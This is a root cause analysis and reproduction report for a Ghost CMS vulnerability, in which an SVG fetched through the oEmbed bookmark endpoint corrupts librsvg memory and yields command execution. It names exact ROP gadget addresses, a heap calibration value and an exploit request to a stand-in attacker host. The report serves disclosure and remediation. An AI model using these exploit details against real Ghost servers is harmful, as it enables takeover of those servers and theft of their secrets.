# Root Cause Analysis — CVE-2026-105642 (GHSA-788w-68h3-cvxp)

## Summary

Ghost >= 6.56.0 and < 6.67.0 bundles a vulnerable native image-processing stack: sharp 0.35.3 uses libvips 8.18.3 with librsvg 2.62.90 and libxml2 2.15.3. A genuine low-privilege Contributor can call Ghost's admin oEmbed bookmark endpoint with an attacker-controlled URL. Ghost fetches the page, follows its `og:image` to an attacker-hosted SVG, and rasterizes that SVG inside the main Node.js process. The crafted SVG causes librsvg's nested-XInclude duplicate-entity use-after-free (CVE-2026-96889): the recursive parse replaces and frees an `xmlEntity` object still in use by the outer libxml2 parse. A calibrated SVG path then reoccupies and corrupts the stale parser state, pivots through fixed addresses in Ghost's non-PIE Node 22.23.3 executable, and invokes `execve("/bin/sh", ["/bin/sh", "-c", command], NULL)`. This run reproduced the complete Contributor-to-command-execution chain twice through the real Ghost endpoint under the default allocator.

## Impact

- **Affected product:** TryGhost/Ghost, through bundled sharp → libvips → librsvg → libxml2 native SVG processing.
- **Affected versions:** Ghost >= 6.56.0 and < 6.67.0 according to the Ghost advisory. This run confirms Ghost 6.65.0 is vulnerable and Ghost 6.67.0 is fixed.
- **Vulnerable runtime closure:** official `ghost:6.65.0` image digest `sha256:90592b712b6b6502c3169cf12bcb6e5f7b8c8315968b8bb53e08e879892641fa`; Node 22.23.3, sharp 0.35.3, libvips 8.18.3, librsvg 2.62.90, libxml2 2.15.3.
- **Fixed runtime closure:** official `ghost:6.67.0` image digest `sha256:9482099b1c8700764dc3d38c293e09c16d70f8bacc14af589c47d90b4bebd017`; sharp 0.35.5, libvips 8.18.7, librsvg 2.63.2, libxml2 2.15.4.
- **Risk:** high/critical attacker impact within the Ghost process. Any authenticated staff user, including a Contributor, can execute arbitrary shell commands with the Ghost server process's privileges. This permits reading application secrets and content, modifying data accessible to the process, establishing callbacks, and stopping or replacing the service.
- **Configuration note:** `NODE_ENV=development` is used only so Ghost's private-IP SSRF guard permits the required local attacker host. A public attacker host in production reaches the same oEmbed → image-transform → sharp path. The exploit itself uses the normal/default glibc allocator; no `GLIBC_TUNABLES`, `MALLOC_PERTURB_`, sanitizer, debugger, or allocator tripwire is present.

## Impact Parity

- **Disclosed/claimed maximum impact:** arbitrary command execution on the Ghost server via an attacker-controlled bookmark-card image, initiated by a Contributor.
- **Reproduced impact:** two fresh vulnerable Ghost 6.65.0 processes each received a real authenticated Contributor request to `GET /ghost/api/admin/oembed/?url=http://attacker-rce:8790/&type=bookmark`. Ghost fetched `/` and `/evil.svg` from the attacker server. The 24,410-byte SVG executed a unique attacker-selected shell command in the Ghost process and wrote a unique target-local file under `/tmp`. Both marker files were copied out and their bytes match the unique command arguments. The successful `execve` replaced Node, so each vulnerable container exited cleanly with code 0 and the HTTP connection closed. Two fresh Ghost 6.67.0 controls reached the same endpoint and fetched the identical payload, returned HTTP 200, stayed running, and produced no marker.
- **Parity:** **full**.
- **Not demonstrated:** no reverse shell was needed because target-local command markers are direct, deterministic evidence of arbitrary command execution. The proof deliberately uses a harmless `echo` command.

## Root Cause

librsvg's XML loading layer keeps an `XmlState` entity map shared across recursive parses used for XInclude processing. The outer SVG defines an entity whose replacement text starts another SVG parse via `xi:include`. While libxml2 is expanding that outer entity and retaining its `xmlEntity *`, the included document declares an entity with the same name. Vulnerable librsvg inserts the new declaration into the shared map, replaces the existing map entry, and drops/frees the original approximately 144-byte libxml2 entity object. Control returns to the outer libxml2 parse, which continues reading and writing the freed object.

The command-execution payload extends this UAF with a crafted SVG path. A measured amount of text and a specific sequence of path commands reoccupy the stale state with attacker-controlled coordinates. Those IEEE-754 coordinate bit patterns encode a stack-pivot and ROP chain. Ghost's official Node 22.23.3 executable is non-PIE (ELF `EXEC`, build ID `a9b42ba41811e1291145304b7c278c5d3fbaca71`), so its gadget and `execve@plt` addresses are stable despite system ASLR. The Ghost-specific chain uses:

- `PIVOT_LOAD = 0x1f35396` (`mov rax, [rdx]; ret`)
- `PIVOT_STACK = 0x228f8b8` (`lea rsp, [rax+0x30]; ret`)
- `POP_RDI = 0x1201233`, `POP_RAX = 0xe81d9b`, `POP_RSI = 0xf9522e`, `POP_RDX = 0xe386e2`
- `STOSQ_RET = 0x12ec8e5`, writable scratch at `0x6b5f500`, and `execve@plt = 0xe38e30`
- Ghost/librsvg 2.62.90 layout calibration `BASELINE_PADDING = 22264`, with target path length 1270

The ROP chain writes `/bin/sh`, `-c`, the attacker command, and `argv` into Node's writable data area, then calls `execve`. The successful process exit code 0 is consistent with Node being replaced by `/bin/sh -c 'echo ...'` and the shell finishing successfully.

The upstream librsvg fix rejects the duplicate recursive entity condition rather than replacing and freeing the active entity. Ghost 6.67.0 includes the corrected dependency stack. Relevant references:

- Ghost advisory: https://github.com/TryGhost/Ghost/security/advisories/GHSA-788w-68h3-cvxp
- librsvg advisory: https://rustsec.org/advisories/RUSTSEC-2026-0305.html
- librsvg work item/fix context: https://gitlab.gnome.org/GNOME/librsvg/-/work_items/1241
- VectorFreed research: https://github.com/rafabd1/VectorFreed
- Public full-chain foundation independently ported to Ghost Node 22: https://github.com/EQSTLab/CVE-2026-94545

## Reproduction Steps

1. Run `bundle/repro/reproduction_steps.sh` from any directory. Docker, curl, jq, and Python 3 are required on the host. The script uses only immutable image digests.
2. The script:
   - verifies/pulls exact Ghost 6.65.0 and 6.67.0 images and records the bundled dependency versions;
   - generates the Ghost Node 22/librsvg 2.62.90 calibrated RCE SVG at runtime;
   - starts a local attacker-controlled HTTP host serving a bookmark HTML page and `evil.svg`;
   - starts a local SMTP sink, performs real Ghost first-run setup as Owner, invites the Contributor role through `POST /ghost/api/admin/invites/`, follows the captured invitation token through `POST /ghost/api/admin/authentication/invitation/`, and logs in as the Contributor;
   - calls `/ghost/api/admin/users/me/?include=roles` with the exact exploit cookie and requires `roles[].name == "Contributor"`;
   - sends the real authenticated oEmbed bookmark request;
   - runs two isolated vulnerable attempts and two isolated fixed attempts under the default allocator;
   - validates unique target-local vulnerable markers, their exact bytes, fixed absence, fixed service health, and attacker-server fetches;
   - writes strict `bundle/repro/runtime_manifest.json` only after evidence files are immutable.
3. Expected terminal lines:

   ```text
   RESULT vuln 1 marker=true status=exited exit=0 http=000
   RESULT vuln 2 marker=true status=exited exit=0 http=000
   RESULT fixed 1 marker=false status=running exit=0 http=200
   RESULT fixed 2 marker=false status=running exit=0 http=200
   === CONFIRMED: Ghost 6.65.0 Contributor-to-command-execution RCE; fixed 6.67.0 negative control ===
   ```

The script was executed successfully twice consecutively from clean per-run evidence directories.

## Evidence

- `bundle/logs/reproduction_steps.log` — complete final run transcript and all four `RESULT` lines.
- `bundle/logs/attacker-rce.log` — four independent Ghost-side rounds, each showing `GET /` followed by `GET /evil.svg`; this proves the remote product fetch boundary for vulnerable and fixed attempts.
- `bundle/repro/artifacts/rce/contributor-identity-{vuln,fixed}-{1,2}.json` — response from the authenticated `users/me` endpoint proving the exact exploit session is assigned only the Contributor role. Example: `"roles":[{"name":"Contributor"...}]`.
- `bundle/repro/artifacts/rce/oembed-request-{vuln,fixed}-{1,2}.txt` — exact endpoint shape and authenticated-role description.
- `bundle/repro/artifacts/rce/marker-vuln-1.txt` and `marker-vuln-2.txt` — unique target-local command outputs. Their trimmed bytes equal the unique markers in the matching state and observation records.
- `bundle/repro/artifacts/rce/state-vuln-{1,2}.txt` — `allocator=default`, `contributor_identity_verified=true`, `marker_present=true`, and `container_status=exited exit_code=0`.
- `bundle/repro/artifacts/rce/state-fixed-{1,2}.txt` — `marker_present=false`, `container_status=running`, `exit_code=0`, and oEmbed HTTP 200.
- `bundle/repro/artifacts/rce/observation-vuln-{1,2}.json` — strict command-capability observations with target path reached and marker present.
- `bundle/repro/artifacts/rce/observation-fixed-{1,2}.json` — negative controls with target path reached and marker absent.
- `bundle/repro/artifacts/rce/oembed-response-fixed-{1,2}.txt` — normal HTTP 200 bookmark responses from the fixed service.
- `bundle/repro/artifacts/rce/versions.txt` — exact Node/sharp/libvips/librsvg/libxml2 versions.
- `bundle/repro/runtime_manifest.json` — immutable image identity, endpoint details, runtime stack, proof-artifact list, and SHA-256 mapping.

Current-run exploit knowledge was also recorded as control-flow primitive `cbfb8977-bd36-46ee-aeea-b8de835e5e97` and derived command-execution capability `639cc612-c512-44d5-b35b-637daa6ae42f`.

## Recommendations / Next Steps

- Upgrade Ghost to 6.67.0 or later. Ensure the effective bundled stack contains sharp >= 0.35.5 and librsvg >= 2.63.2 (or a documented security backport).
- If immediate upgrade is impossible, prevent untrusted SVGs from entering bookmark-image rasterization: reject `image/svg+xml`, disable SVG rasterization for bookmark metadata, or isolate image conversion in a strongly sandboxed process without application secrets.
- Restrict the oEmbed/bookmark endpoint to trusted roles as defense in depth. Contributor access is enough in the vulnerable release.
- Restrict outbound network access from Ghost. This does not remove parser corruption but limits remote payload delivery and callbacks.
- Add regression coverage that a nested XInclude document redeclaring an active entity is rejected, does not crash, and does not invoke image conversion side effects.
- Test with the real product endpoint and low-privilege role, not only a direct sharp harness. Keep a fixed-version negative control and verify the service remains healthy.

## Additional Notes

- **Idempotency:** the script removes and recreates all named containers, its Docker network, runtime work directory, and proof-artifact directory. It was run twice consecutively with the same four-way vulnerable/fixed result.
- **Default allocator:** unlike the earlier crash-only reproduction, this complete RCE proof sets no allocator tunables or perturbation variables.
- **No sanitizer/instrumentation:** command execution occurs in uninstrumented official Ghost images. No sanitizer or debugger is used by the final proof.
- **Local attacker host:** Ghost's production SSRF policy rejects private addresses, so the reproducible no-egress lab sets `NODE_ENV=development` solely to allow the local attacker host. A public attacker host does not need this accommodation; the image parsing and exploit code path are unchanged.
- **Build specificity:** the ROP gadget addresses and 22,264-byte layout calibration are specific to the official Ghost 6.65.0 x86-64 image closure. This specificity is normal for a native memory-corruption exploit and is why the script pins the immutable image digest.
- **Process exit behavior:** successful `execve` replaces Node with `/bin/sh`. The HTTP response is empty/closed and the container exits 0 after the harmless shell command completes; the unique marker is the success oracle, not a crash code.
